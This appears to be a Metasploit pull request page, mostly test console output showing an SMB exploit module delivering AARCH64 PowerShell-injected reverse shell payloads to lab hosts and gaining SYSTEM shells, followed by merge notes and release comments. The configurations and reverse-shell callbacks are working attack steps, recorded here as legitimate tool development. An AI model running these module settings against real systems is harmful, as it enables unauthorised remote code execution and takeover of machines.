[*] Started reverse TCP handler on 10.5.135.210:46016
[*] 10.5.132.154:445 - Connecting to the server...
[*] 10.5.132.154:445 - Authenticating to 10.5.132.154:445 as user 'Administrator'...
[*] 10.5.132.154:445 - Executing the payload...
[+] 10.5.132.154:445 - Service start timed out, OK if running a command or non-service executable...
[*] Command shell session 1 opened (10.5.135.210:46016 -> 10.5.132.154:51127) at 2026-09-01 11:44:30 -0500
[*] Running 'whoami' on shell session 1 (10.5.132.154)
whoami
nt authority\system

C:\Windows\System32>
[*] Running 'ipconfig' on shell session 1 (10.5.132.154)
ipconfig

Windows IP Configuration


Ethernet adapter Ethernet:

   Connection-specific DNS Suffix  . :
   Link-local IPv6 Address . . . . . : fe80::971a:8723:fb05:bb4d%6
   IPv4 Address. . . . . . . . . . . : 10.5.132.154
   Subnet Mask . . . . . . . . . . . : 255.255.255.0
   Default Gateway . . . . . . . . . : 10.5.132.1

C:\Windows\System32>
[*] Killing all sessions...
[*] 10.5.132.154 - Command shell session 1 closed.
Stopping all jobs...
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST
TARGET => 1
RHOST => 10.5.132.147
SMBUser => msfuser
SMBPass => v3Mpassword
Powershell::method => old
PAYLOAD => windows/aarch64/shell/reverse_tcp
LHOST => 10.5.135.210
LPORT => 46017
WfsDelay => 30
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
[*] Started reverse TCP handler on 10.5.135.210:46017
[*] 10.5.132.147:445 - Connecting to the server...
[*] 10.5.132.147:445 - Authenticating to 10.5.132.147:445 as user 'msfuser'...
[*] 10.5.132.147:445 - Executing the payload...
[*] Sending stage (420 bytes) to 10.5.132.147
[+] 10.5.132.147:445 - Service start timed out, OK if running a command or non-service executable...
[*] Command shell session 1 opened (10.5.135.210:46017 -> 10.5.132.147:54643) at 2026-09-01 11:46:02 -0500
[*] Running 'whoami' on shell session 1 (10.5.132.147)
whoami
nt authority\system

C:\Windows\System32>
[*] Running 'ipconfig' on shell session 1 (10.5.132.147)
ipconfig

Windows IP Configuration


Ethernet adapter Ethernet:

   Connection-specific DNS Suffix  . :
   Link-local IPv6 Address . . . . . : fe80::43fd:26f3:48e0:4c01%9
   IPv4 Address. . . . . . . . . . . : 10.5.132.147
   Subnet Mask . . . . . . . . . . . : 255.255.255.0
   Default Gateway . . . . . . . . . : 10.5.132.1

C:\Windows\System32>
[*] Killing all sessions...
[*] 10.5.132.147 - Command shell session 1 closed.
Stopping all jobs...
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST
TARGET => 1
RHOST => 10.5.132.147
SMBUser => msfuser
SMBPass => v3Mpassword
Powershell::method => old
PAYLOAD => windows/aarch64/shell_reverse_tcp
LHOST => 10.5.135.210
LPORT => 46018
WfsDelay => 30
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
[*] Started reverse TCP handler on 10.5.135.210:46018
[*] 10.5.132.147:445 - Connecting to the server...
[*] 10.5.132.147:445 - Authenticating to 10.5.132.147:445 as user 'msfuser'...
[*] 10.5.132.147:445 - Executing the payload...
[+] 10.5.132.147:445 - Service start timed out, OK if running a command or non-service executable...
[*] Command shell session 1 opened (10.5.135.210:46018 -> 10.5.132.147:54651) at 2026-09-01 11:46:42 -0500
[*] Running 'whoami' on shell session 1 (10.5.132.147)
whoami
nt authority\system

C:\Windows\System32>
[*] Running 'ipconfig' on shell session 1 (10.5.132.147)
ipconfig

Windows IP Configuration


Ethernet adapter Ethernet:

   Connection-specific DNS Suffix  . :
   Link-local IPv6 Address . . . . . : fe80::43fd:26f3:48e0:4c01%9
   IPv4 Address. . . . . . . . . . . : 10.5.132.147
   Subnet Mask . . . . . . . . . . . : 255.255.255.0
   Default Gateway . . . . . . . . . : 10.5.132.1

C:\Windows\System32>
[*] Killing all sessions...
[*] 10.5.132.147 - Command shell session 1 closed.
Stopping all jobs...
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST
TARGET => 1
RHOST => 10.5.132.147
SMBUser => msfuser
SMBPass => v3Mpassword
Powershell::method => msil
PAYLOAD => windows/aarch64/shell/reverse_tcp
LHOST => 10.5.135.210
LPORT => 46019
WfsDelay => 30
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
[*] Started reverse TCP handler on 10.5.135.210:46019
[*] 10.5.132.147:445 - Connecting to the server...
[*] 10.5.132.147:445 - Authenticating to 10.5.132.147:445 as user 'msfuser'...
[*] 10.5.132.147:445 - Executing the payload...
[+] 10.5.132.147:445 - Service start timed out, OK if running a command or non-service executable...
[*] Sending stage (420 bytes) to 10.5.132.147
[*] Command shell session 1 opened (10.5.135.210:46019 -> 10.5.132.147:54659) at 2026-09-01 11:47:22 -0500
[*] Running 'whoami' on shell session 1 (10.5.132.147)
whoami
nt authority\system

C:\Windows\System32>
[*] Running 'ipconfig' on shell session 1 (10.5.132.147)
ipconfig

Windows IP Configuration


Ethernet adapter Ethernet:

   Connection-specific DNS Suffix  . :
   Link-local IPv6 Address . . . . . : fe80::43fd:26f3:48e0:4c01%9
   IPv4 Address. . . . . . . . . . . : 10.5.132.147
   Subnet Mask . . . . . . . . . . . : 255.255.255.0
   Default Gateway . . . . . . . . . : 10.5.132.1

C:\Windows\System32>
[*] Killing all sessions...
[*] 10.5.132.147 - Command shell session 1 closed.
Stopping all jobs...
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST
TARGET => 1
RHOST => 10.5.132.147
SMBUser => msfuser
SMBPass => v3Mpassword
Powershell::method => msil
PAYLOAD => windows/aarch64/shell_reverse_tcp
LHOST => 10.5.135.210
LPORT => 46020
WfsDelay => 30
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
[*] Started reverse TCP handler on 10.5.135.210:46020
[*] 10.5.132.147:445 - Connecting to the server...
[*] 10.5.132.147:445 - Authenticating to 10.5.132.147:445 as user 'msfuser'...
[*] 10.5.132.147:445 - Executing the payload...
[+] 10.5.132.147:445 - Service start timed out, OK if running a command or non-service executable...
[*] Command shell session 1 opened (10.5.135.210:46020 -> 10.5.132.147:54663) at 2026-09-01 11:48:02 -0500
[*] Running 'whoami' on shell session 1 (10.5.132.147)
whoami
nt authority\system

C:\Windows\System32>
[*] Running 'ipconfig' on shell session 1 (10.5.132.147)
ipconfig

Windows IP Configuration


Ethernet adapter Ethernet:

   Connection-specific DNS Suffix  . :
   Link-local IPv6 Address . . . . . : fe80::43fd:26f3:48e0:4c01%9
   IPv4 Address. . . . . . . . . . . : 10.5.132.147
   Subnet Mask . . . . . . . . . . . : 255.255.255.0
   Default Gateway . . . . . . . . . : 10.5.132.1

C:\Windows\System32>
[*] Killing all sessions...
[*] 10.5.132.147 - Command shell session 1 closed.
Stopping all jobs...
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST
TARGET => 1
RHOST => 10.5.132.147
SMBUser => msfuser
SMBPass => v3Mpassword
Powershell::method => net
PAYLOAD => windows/aarch64/shell/reverse_tcp
LHOST => 10.5.135.210
LPORT => 46021
WfsDelay => 30
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
[*] Started reverse TCP handler on 10.5.135.210:46021
[*] 10.5.132.147:445 - Connecting to the server...
[*] 10.5.132.147:445 - Authenticating to 10.5.132.147:445 as user 'msfuser'...
[*] 10.5.132.147:445 - Executing the payload...
[+] 10.5.132.147:445 - Service start timed out, OK if running a command or non-service executable...
[*] Sending stage (420 bytes) to 10.5.132.147
[*] Command shell session 1 opened (10.5.135.210:46021 -> 10.5.132.147:54669) at 2026-09-01 11:48:42 -0500
[*] Running 'whoami' on shell session 1 (10.5.132.147)
whoami
nt authority\system

C:\Windows\System32>
[*] Running 'ipconfig' on shell session 1 (10.5.132.147)
ipconfig

Windows IP Configuration


Ethernet adapter Ethernet:

   Connection-specific DNS Suffix  . :
   Link-local IPv6 Address . . . . . : fe80::43fd:26f3:48e0:4c01%9
   IPv4 Address. . . . . . . . . . . : 10.5.132.147
   Subnet Mask . . . . . . . . . . . : 255.255.255.0
   Default Gateway . . . . . . . . . : 10.5.132.1

C:\Windows\System32>
[*] Killing all sessions...
[*] 10.5.132.147 - Command shell session 1 closed.
Stopping all jobs...
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST
TARGET => 1
RHOST => 10.5.132.147
SMBUser => msfuser
SMBPass => v3Mpassword
Powershell::method => net
PAYLOAD => windows/aarch64/shell_reverse_tcp
LHOST => 10.5.135.210
LPORT => 46022
WfsDelay => 30
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
[*] Started reverse TCP handler on 10.5.135.210:46022
[*] 10.5.132.147:445 - Connecting to the server...
[*] 10.5.132.147:445 - Authenticating to 10.5.132.147:445 as user 'msfuser'...
[*] 10.5.132.147:445 - Executing the payload...
[+] 10.5.132.147:445 - Service start timed out, OK if running a command or non-service executable...
[*] Command shell session 1 opened (10.5.135.210:46022 -> 10.5.132.147:54680) at 2026-09-01 11:49:22 -0500
[*] Running 'whoami' on shell session 1 (10.5.132.147)
whoami
nt authority\system

C:\Windows\System32>
[*] Running 'ipconfig' on shell session 1 (10.5.132.147)
ipconfig

Windows IP Configuration


Ethernet adapter Ethernet:

   Connection-specific DNS Suffix  . :
   Link-local IPv6 Address . . . . . : fe80::43fd:26f3:48e0:4c01%9
   IPv4 Address. . . . . . . . . . . : 10.5.132.147
   Subnet Mask . . . . . . . . . . . : 255.255.255.0
   Default Gateway . . . . . . . . . : 10.5.132.1

C:\Windows\System32>
[*] Killing all sessions...
[*] 10.5.132.147 - Command shell session 1 closed.
Stopping all jobs...
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST
TARGET => 1
RHOST => 10.5.132.147
SMBUser => msfuser
SMBPass => v3Mpassword
Powershell::method => reflection
PAYLOAD => windows/aarch64/shell/reverse_tcp
LHOST => 10.5.135.210
LPORT => 46023
WfsDelay => 30
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
[*] Started reverse TCP handler on 10.5.135.210:46023
[*] 10.5.132.147:445 - Connecting to the server...
[*] 10.5.132.147:445 - Authenticating to 10.5.132.147:445 as user 'msfuser'...
[*] 10.5.132.147:445 - Executing the payload...
[+] 10.5.132.147:445 - Service start timed out, OK if running a command or non-service executable...
[*] Sending stage (420 bytes) to 10.5.132.147
[*] Command shell session 1 opened (10.5.135.210:46023 -> 10.5.132.147:54691) at 2026-09-01 11:50:02 -0500
[*] Running 'whoami' on shell session 1 (10.5.132.147)
whoami
nt authority\system

C:\Windows\System32>
[*] Running 'ipconfig' on shell session 1 (10.5.132.147)
ipconfig

Windows IP Configuration


Ethernet adapter Ethernet:

   Connection-specific DNS Suffix  . :
   Link-local IPv6 Address . . . . . : fe80::43fd:26f3:48e0:4c01%9
   IPv4 Address. . . . . . . . . . . : 10.5.132.147
   Subnet Mask . . . . . . . . . . . : 255.255.255.0
   Default Gateway . . . . . . . . . : 10.5.132.1

C:\Windows\System32>
[*] Killing all sessions...
[*] 10.5.132.147 - Command shell session 1 closed.
Stopping all jobs...
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST
TARGET => 1
RHOST => 10.5.132.147
SMBUser => msfuser
SMBPass => v3Mpassword
Powershell::method => reflection
PAYLOAD => windows/aarch64/shell_reverse_tcp
LHOST => 10.5.135.210
LPORT => 46024
WfsDelay => 30
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
[*] Started reverse TCP handler on 10.5.135.210:46024
[*] 10.5.132.147:445 - Connecting to the server...
[*] 10.5.132.147:445 - Authenticating to 10.5.132.147:445 as user 'msfuser'...
[*] 10.5.132.147:445 - Executing the payload...
[+] 10.5.132.147:445 - Service start timed out, OK if running a command or non-service executable...
[*] Command shell session 1 opened (10.5.135.210:46024 -> 10.5.132.147:54704) at 2026-09-01 11:50:42 -0500
[*] Running 'whoami' on shell session 1 (10.5.132.147)
whoami
nt authority\system

C:\Windows\System32>
[*] Running 'ipconfig' on shell session 1 (10.5.132.147)
ipconfig

Windows IP Configuration


Ethernet adapter Ethernet:

   Connection-specific DNS Suffix  . :
   Link-local IPv6 Address . . . . . : fe80::43fd:26f3:48e0:4c01%9
   IPv4 Address. . . . . . . . . . . : 10.5.132.147
   Subnet Mask . . . . . . . . . . . : 255.255.255.0
   Default Gateway . . . . . . . . . : 10.5.132.1

C:\Windows\System32>
[*] Killing all sessions...
[*] 10.5.132.147 - Command shell session 1 closed.
Stopping all jobs...
[*] No payload configured, defaulting to windows/meterpreter/reverse_tcp
[*] New in Metasploit 6.4 - This module can target a SESSION or an RHOST
TARGET => 1
RHOST => 10.5.132.154
SMBUser => Administrator
SMBPass => v3Mpassword
Powershell::method => reflection
PAYLOAD => windows/shell_reverse_tcp
LHOST => 10.5.135.210
LPORT => 46025
WfsDelay => 30
[*] Exploit running as background job 0.
[*] Exploit completed, but no session was created.
[*] Started reverse TCP handler on 10.5.135.210:46025
[*] 10.5.132.154:445 - Connecting to the server...
[*] 10.5.132.154:445 - Authenticating to 10.5.132.154:445 as user 'Administrator'...
[*] 10.5.132.154:445 - Executing the payload...
[+] 10.5.132.154:445 - Service start timed out, OK if running a command or non-service executable...
[*] Command shell session 1 opened (10.5.135.210:46025 -> 10.5.132.154:65416) at 2026-09-01 11:53:22 -0500
[*] Running 'whoami' on shell session 1 (10.5.132.154)
whoami
nt authority\system

C:\Windows\System32>
[*] Running 'ipconfig' on shell session 1 (10.5.132.154)
ipconfig

Windows IP Configuration


Ethernet adapter Ethernet:

   Connection-specific DNS Suffix  . :
   Link-local IPv6 Address . . . . . : fe80::971a:8723:fb05:bb4d%6
   IPv4 Address. . . . . . . . . . . : 10.5.132.154
   Subnet Mask . . . . . . . . . . . : 255.255.255.0
   Default Gateway . . . . . . . . . : 10.5.132.1

C:\Windows\System32>
[*] Running 'echo PROCESSOR_ARCHITECTURE=%PROCESSOR_ARCHITECTURE%' on shell session 1 (10.5.132.154)
echo PROCESSOR_ARCHITECTURE=%PROCESSOR_ARCHITECTURE%
PROCESSOR_ARCHITECTURE=x86

C:\Windows\System32>
[*] Running 'echo PROCESSOR_ARCHITEW6432=%PROCESSOR_ARCHITEW6432%' on shell session 1 (10.5.132.154)
echo PROCESSOR_ARCHITEW6432=%PROCESSOR_ARCHITEW6432%
PROCESSOR_ARCHITEW6432=AMD64

C:\Windows\System32>
[*] Killing all sessions...
[*] 10.5.132.154 - Command shell session 1 closed.
Stopping all jobs...

@bwatters-r7 bwatters-r7 added the rn-payload-enhancement release notes for enhanced payloads label Sep 1, 2026
@bwatters-r7 bwatters-r7 moved this from In Progress to What about Second Review? in Metasploit Kanban Sep 1, 2026
@github-project-automation github-project-automation Bot moved this from What about Second Review? to In Progress in Metasploit Kanban Sep 3, 2026
@bwatters-r7
bwatters-r7 merged commit 9d7007d into rapid7:master Sep 3, 2026
95 of 96 checks passed
@github-project-automation github-project-automation Bot moved this from In Progress to Done in Metasploit Kanban Sep 3, 2026
@bwatters-r7

Copy link
Copy Markdown
Contributor

Release Notes

Bumps rex-powershell to 1.0.5, which added AARCH64 support for powershell injection techniques MSIL, net, old, and reflect. This PR also enhances `exploit/windows/smb' by allowing those options for payload delivery on AARCH64 Windows systems.

@vinicius-batistella

Copy link
Copy Markdown
Contributor Author

Thank you so much for landing this, @bwatters-r7 and @dledda-r7. It means the world to me. 🙏​
Let me know if you need any further help to add a module.

@bwatters-r7

Copy link
Copy Markdown
Contributor

@vinicius-batistella if you are interested, adding AARCH64 support to the Fetch payloads would be nice- it is not as technical as what you've worked on before since it is going to involve creating some adapted payloads to join the existing aarch64 binaries to the fetch stagers, but it would be a neat feature to add. I can write up a quick issue outlining what needs to be done if you are interested?

@vinicius-batistella

Copy link
Copy Markdown
Contributor Author

@bwatters-r7, sure thing. It'd be a pleasure.

Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

rn-payload-enhancement release notes for enhanced payloads

Projects

Archived in project

Development

Successfully merging this pull request may close these issues.

3 participants